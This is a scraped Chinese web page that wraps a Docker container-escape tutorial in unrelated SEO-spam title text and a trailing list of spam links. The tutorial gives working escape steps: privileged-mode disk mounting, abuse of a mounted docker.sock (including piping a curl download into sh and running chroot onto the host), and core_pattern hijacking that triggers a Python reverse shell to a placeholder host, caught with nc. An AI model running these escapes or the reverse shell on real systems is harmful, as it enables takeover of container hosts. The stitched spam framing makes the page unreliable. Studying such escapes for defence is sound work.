当前位置: 首页 > news >正文

深圳网站排名外贸公司取名字大全

深圳网站排名,外贸公司取名字大全,企业网站建设的目的有哪些,水印wordpress0x00 云原生技术-docker docker容器和虚拟机的对比#xff1a;前者是将运行环境打包#xff0c;封装一个环境。后者是将整个系统打包#xff0c;封装一个系统。在操作使用上来说各有利弊。 0x01 docker容器的三种逃逸类型 特权模式启动#xff08;不安全的启动方式…0x00 云原生技术-docker docker容器和虚拟机的对比前者是将运行环境打包封装一个环境。后者是将整个系统打包封装一个系统。在操作使用上来说各有利弊。 0x01 docker容器的三种逃逸类型 特权模式启动不安全的启动方式危险挂载启动危险配置启动docker自身漏洞主机系统漏洞 0x02 容器环境对比主机环境的渗透区别 当你获取到了一个shell如果对方是以容器环境搭建起来的那么你便是获取了容器环境的shell权限下面通过拉取一个容器环境获取shell后观察其与宿主机的区别 观察到获取到docker搭建的容器shell与真实主机是有区别的也就是我们存在于docker环境的shell中不管在内容如何去操作都只是在容器环境中这个时候就需要突破容器环境搭建容器逃逸控制对方真实主机。 0x03 如何识别自己在对方的docker环境中 拿到shell后需要判断是否是处于docker环境中上面图片我用了很简单的一个方法查看ls -al下的根目录看是否存在dockerenv文件如果存在则大概率为docker环境下面还有其他的一些方法在实战可以多个结合参考 1.ls -al / 查看是否存在dockerenv 2.检查/proc/1/cgroup内是否包含docker等字符串或者像下面一样左边是docker右边是主机 暂时列举上面的几种方法网上此类的文章也有很多大家可以随时随地的去翻阅 0x04 特权模式下的docker逃逸危险启动 docker的启动中有选项为以特权模式启动如果使用该特权启动就有会特权逃逸的危险参数为–privilegedtrue 下面以这种模式启动一个docker环境 我们启动一个docker环境进入后直接获取到shell首先判断是否为docker环境查看是否存在dockerenv文件如下 创建环境docker run --rm --privilegedtrue -it alpine cat /proc/self/status | grep CapEff 判断是否为特权模式下面是左边的真实主机与docker环境输出的结果对比 fdisk -l的区别 通过fdisk的路径创建逃逸的目录 fdisk -l mkdir /test3 mount /dev/sda1 /test3 cat /test3/ect/passwd能看到主机的passwd即为逃逸成功 0x05 危险挂载逃逸-socket守护进程等逃逸 socket是干嘛的 它是 Docker守护进程 (Docker daemon) 默认监听的 Unix域套接字 (Unix domain socket) 容器中的进程可以通过它与Docker守护进程进行通信。 docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu docker run -d -p 82:80 ba6acccedd29 docker exec -it with_docker_sock /bin/bash判断环境是否为docker 挂载逃逸并且在docker中创建新的容器环境将docker的shell中继续安装一个docker将主机环境挂载到里面实现逃逸 apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh 在容器内部创建一个新的容器并将宿主机目录挂载到新的容器内部 docker run -it -v /:/host ubuntu /bin/bash chroot /host逃逸成功 0x06 危险挂载逃逸-procfs伪文件系统逃逸 procfs是干嘛的 procfs是一个伪文件系统它动态反映着系统内进程及其他组件的状态其中有许多十分敏感重要的文件。因此将宿主机的procfs挂载到不受控的容器中也是十分危险的尤其是在该容器内默认启用root权限且没有开启UserNamespace时。 以procfs启动docker环境 docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 检测环境find / -name core_pattern 查找路径(workdir) cat /proc/mounts | grep docker 写入文件 cat /tmp/.x.py EOF #!/usr/bin/python import os import pty import socket lhost xx.xx.xx.xx lport xxxx def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close() if __name__ __main__:main() EOFchmod x /tmp/.x.pyecho -e |/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore /host/sys/kernel/core_patterncat /tmp/x.c EOF #include stdio.h int main(void) {int *a NULL;*a 1;return 0; } EOFgcc x.c -o x 执行文件 ./x nc -lvvp xxxx 安装gccapt-get update -y apt-get install gcc -y 通过检测环境find / -name core_pattern得到路径加载到下面中 echo -e |/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore /host/sys/kernel/core_patternvps监听反弹即可 云安全渗透参考https://wiki.teamssix.com/CloudNative/ 0x07 关于逃逸的失败需要注重的点 在线创建docker的st2靶场和dvwa靶场都使用特权模式开启可以发现通过dvwa无法逃逸成功 这里需要注意逃逸的前提也会受web的初始启动权限来决定也就是说如果环境进去它本身就是地权限类似于windows的普通data权限这种无法逃逸st2和shiro这种java一般来说启动程序都是以高权限启动php等都是普通的权限启动会导致逃逸失败。 1、高权限-Web入口到Docker逃逸Java docker run --rm --privilegedtrue -it -p 8888:8080 vulfocus/shiro-721 2、低权限-Web入口到Docker逃逸PHP docker run --rm --privilegedtrue -it -p 8080:80 sagikazarmark/dvwa-特权模式启动导致不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸 -危险挂载启动导致危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸
http://www.yutouwan.com/news/110596/

相关文章:

  • 美食网站建设页面要求营销网站的主题 定位 修改建议
  • h5网站建设设计有特色的网站
  • 巩义网站建设方案书上海公司牌照价格走势
  • 做设计的一般用什么网站找素材知名企业网站人才招聘情况
  • 网站建设说明网络游戏对青少年的危害
  • 无锡网站关键词推广东莞网站设计百年
  • 网站建设工作会议上的讲话石家庄58同城最新招聘信息
  • 合肥建设学校网站首页搜索引擎营销经典案例
  • 百度网站认证v1北京新站优化
  • 钟楼网站建设网站代码字体变大
  • 网站以前在百度能搜索不到网站视频管理系统
  • 做网站的企业有哪些南京今天的最新消息
  • 做网站推广的需要了解哪些知识微信小程序开发者
  • 软工毕设做网站信息网站 cms
  • 网站建设推广刘贺稳1网站拍照的幕布
  • 天空台108网站找手工活带回家做网站建设招标说明书
  • 上海网站推广提供商什么是网络营销型网站
  • 网站建设属于广告费吗个人网站备案技巧
  • 用phpcms v9搭建手机网站后您没有访问该信息的权限!网页设计尺寸pc端
  • 辽宁个人网站建设口碑推荐做网站的公司好坑啊
  • 重庆网站建设在哪里wordpress局部内容
  • 深圳网站建设哪家最好济南网站建设托管
  • 网站开发语言分辨前端页面设计
  • 海淀西北旺网站建设网站推广技巧和方法
  • 广州市品牌网站建设怎么样商城建设
  • 软装设计网站推荐什么叫社交电商平台
  • 瑞安市网站建设北仑网站建设培训学校
  • 深南花园裙楼+网站建设十大最坑装修公司排名
  • 微网站开发需要多少钱企业网站源码库
  • 杨浦网站建设哪家好wordpress 用户注册 插件